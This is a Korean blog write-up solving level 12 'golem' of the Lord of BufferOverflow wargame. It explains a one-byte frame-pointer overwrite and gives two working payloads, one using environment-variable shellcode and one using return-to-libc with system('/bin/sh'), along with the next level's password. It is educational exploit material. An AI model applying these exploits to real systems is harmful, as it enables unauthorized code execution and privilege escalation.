DongDD's IT

[LOB] level12 golem 본문

Wargame/LOB

[LOB] level12 golem

DongDD 2018. 1. 25. 16:57

[LOB] level12 golem


Problem



이번 문제에서도 darkknight 실행 파일과 darkknight.c 소스 코드 파일이 있었다.

소스 코드를 확인해 보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
 
void problem_child(char *src)
{
        char buffer[40];
        strncpy(buffer, src, 41);
        printf("%s\n", buffer);
}
 
main(int argc, char *argv[])
{
        if(argc<2){
                printf("argv error\n");
                exit(0);
        }
 
        problem_child(argv[1]);
}
 
cs


이번 문제는 앞 문제들과 달리 소스 코드의 변화가 커보였다. egg hunter, buffer hunter, stack hunter들이 다 없어지고 argv[1]을 buffer로 복사하는 것이 다른 함수로 생성되어 들어가있었다. 또한 strcpy를 사용했던 방식에서 strncpy를 통해 복사하는 것으로 바뀌어있었다. buffer의 크기는 40 bytes이지만 41 bytes를 복사하는 것을 알 수 있었다.

return address를 조작할 수 없는 상황에서 어떻게 풀어야 할지 몰라서 일단 gdb를 통해 dummy 값을 넣어 확인하며 문제를 풀어나갔다.



Solution


memory를 확인해보고 여러 시도를 해보다 풀 수있는 방법을 찾은 것 같아 시도해봤는데 계속 막혀서 다른 방법으로 풀다가 원인을 찾게 되었고 처음 시도한 방법도 해결할 수 있게 되어 총 2가지 방법으로 풀게 되었다.


1. 환경 변수에 shell code 이용



일단 gdb를 통해 파일을 열고 dummy값을 넣어보았다. 처음에는 "A"*60으로 해보았는데 strncpy 때문인지 41 bytes까지 밖에 복사되지 않아서 "A"*41로 메모리를 확인해보았다.

메모리를 확인해보니 입력한 값이 들어가있고 마지막에 0xbffffa41로 되어있었다. 마지막 1 bytes가 저기에 들어가는 것 같았다. 0xbffffa41이 들어가 있는 곳이 sfp로 알고 있는데 return address를 조작할 수 없으니 이 것을 return address라고 생각하고 여러 시도를 해보았다.


buffer의 시작 주소 : 0xbffffac4


buffer에 shell code를 넣고 마지막 값을 buffer의 시작 주소로 맞추기 위해 "\xc4"를 넣어주었다. 그랬더니 segmentation fault가 나왔고 메모리를 다시 분석하기 위해 gdb로 core파일을 열어보았다.

그랬더니 error message에 "0x68732f2f in ???"라는 message를 볼 수 있었다.

esp근처의 값들을 확인해보니 이 값이 sfp에 입력한 0xbffffac4 다음의 4 bytes인 것을 알 수 있었다.

그래서 혹시 들었던 생각이 sfp에 들어가 있는 주소의 다음 4 bytes에 들어있는 값으로 return 하는 것이 아닐까 하는 생각이 들었다.



그래서 환경 변수에 shell code를 넣어놓고 한번 시도해보았다.

aa라는 환경 변수에 NOP과 shell code를 넣어주었다.


1
2
3
4
5
6
7
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    printf("%p\n",getenv("aa"));
}

cs


위 프로그램을 통해서 환경 변수 aa의 주소를 알아보았다.

환경 변수의 주소 : 0xbffffc69


알아낸 이 주소로 확실하진 않지만 일단 시도해보았다.

buffer의 첫 시작은 dummy(4 bytes)로 하고 sfp에 buffer에 시작 주소를 넣어준다고 했을 때 dummy 다음의 4 bytes에는 return address를 넣어서 시도해보았다.


Payload = dummy(4 bytes, "A"*4) + 환경 변수의 주소(4 bytes) + dummy(32 bytes, "A"*32) + "\xc4"


위 Payload로 실행해보았지만 segmentation fault가 나왔다.



그래서 혹시 환경 변수때문에 buffer의 주소가 바뀔 수 있는지 확인해 보기 위해 core파일로 분석해보았다. 그랬더니 주소가 바뀌어있는 것을 볼 수 있었다.

buffer의 시작 주소 : 0xbffffa64


Payload = dummy(4 bytes, "A"*4) + 환경 변수의 주소(4 bytes) + dummy(32 bytes, "A"*32) + "\x64"


위 Payload로 다시 실행해보았다.


그랬더니 이번에는 segmentation fault가 나오지 않았지만 입력을 받을 수 있는 상황이 되었다.

하지만 입력을 해도 아무런 반응을 하지 않았다.

그런데 신기하게도 gdb로 이 Payload를 넣고 실행하니 shell이 뜨는 것을 볼 수 있었다.

여러 시도를 해보았지만 아무 것도 되지 않아 첫 번째 방법은 여기서 멈추고 다른 방법을 시도해보았다.

다른 방법을 시도하다가 원인을 찾게 되었고 이 방법도 해결할 수 있게 되었다.


결론부터 말하자면 메모리의 주소가 잘못됐었다. 왜 그런지는 모르겠지만 gdb를 통해 확인한 memory 주소와 core파일로 확인한 memory 주소가 달랐다. 일부러 segmentation fault를 일으켜 주소를 확인해보았다.



끝에 값을 아무 값이나 넣어 segmentation fault를 일으키고 core파일을 통해 메모리를 확인해보았다.

조작할 주소가 바뀌어있는 것을 알 수 있었다.

buffer의 시작 주소 : 0xbffffa74


아까의 payload에서 이 값만 바꿔 실행해보니 shell을 얻을 수 있었다.



2. Return To Libray(RTL)


처음 방법에서 막혔던 부분때문에 RTL로 시도해보다가 원인을 찾게 되어 두 가지 방법으로 모두 해결할 수 있었다.

기본적인 원리는 똑같다. 단지 return address라고 생각되는 곳에 system()함수의 주소를 넣어주고 dummy 4bytes를 넣어주고 "/bin/sh"의 주소를 넣어주면 된다.



ldd를 통해 확인해 보니 ASLR이 걸려있지 않은 것을 확인했고 gdb를 통해 main에 break point를 설정하고 실행해 라이브러리 내에 있는 system() 함수의 주소를 확인했다.

system() 함수 주소 :  0x4005ae0


1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    int sys = 0x40058e0;
    while(memcmp((void *) sys, "/bin/sh"8)) {
        sys;
    }
    printf("%p\n",sys);
}
cs


그 후 위 프로그램을 작성해 라이브러리 내에 존재하는 "/bin/sh"의 주소를 찾아냈다.

"/bin/sh"의 주소 : 0x400fbff9


이 후에는 환경 변수에서 사용했던 방법과 비슷하게 사용했다.


Payload = dummy(4 bytes, "A"*4) + system 함수 주소(4bytes, 0x4005ae0) + dummy(4 bytes, "A"*4) + "/bin/sh"의 주소(4 bytes, 0x400fbff9) + dummy(24 bytes, "A"*24) + buffer 시작 주소의 끝 주소("/x64")


처음 시도했을 때는 여기서 똑같이 막혔다. segmentation fault가 나오지 않고 실행은 되지만 아무 입력도 인식하지 못하는 상태였다.

맨 끝 값을 아무 값으로 바꾸어 segmentation fault를 일으켜 memory주소를 확인해 buffer의 주소가 바뀐 것을 볼 수 있었다.



주소가 왜 다른지는 모르겠지만 다르게 나왔다. 환경 변수 이용하는 방법에서 미리 이 차이를 알았더라면 RTL 기법을 사용하지 않고 해결할 수 있었을 것 같은데 RTL을 활용하다가 발견해서 두 가지 방법으로 해결하게 되었다.


Payload = dummy(4 bytes, "A"*4) + system 함수 주소(4bytes, 0x4005ae0) + dummy(4 bytes, "A"*4) + "/bin/sh"의 주소(4 bytes, 0x400fbff9) + dummy(24 bytes, "A"*24) + buffer 시작 주소의 끝 주소("/x74")


위 Payload를 사용해서 실행하니 shell을 획득할 수 있었다.





**************     Answer & Flag     **************


1. 환경 변수에 shell code 이용


Payload = dummy(4 bytes, "A"*4) + 환경 변수의 주소(4 bytes) + dummy(32 bytes, "A"*32) + "\x74"


"A"*4 + "\x69\xfc\xff\xbf" + "A"*32 + "\x74"




2. Return to Library(RTL)


Payload = dummy(4 bytes, "A"*4) + system 함수 주소(4bytes, 0x4005ae0) + dummy(4 bytes, "A"*4) + "/bin/sh"의 주소(4 bytes, 0x400fbff9) + dummy(24 bytes, "A"*24) + buffer 시작 주소의 끝 주소("/x74")


"A"*4 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "A"*24 + "\x74"




Next ID : darkknight

Next PW : new attacker

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level14 bugbear  (0) 2018.01.27
[LOB] Level13 darkknight  (0) 2018.01.26
[LOB] Level11 skeleton  (0) 2018.01.24
[LOB] Level10 vampire  (0) 2018.01.21
[LOB] Level9 troll  (0) 2018.01.21
Comments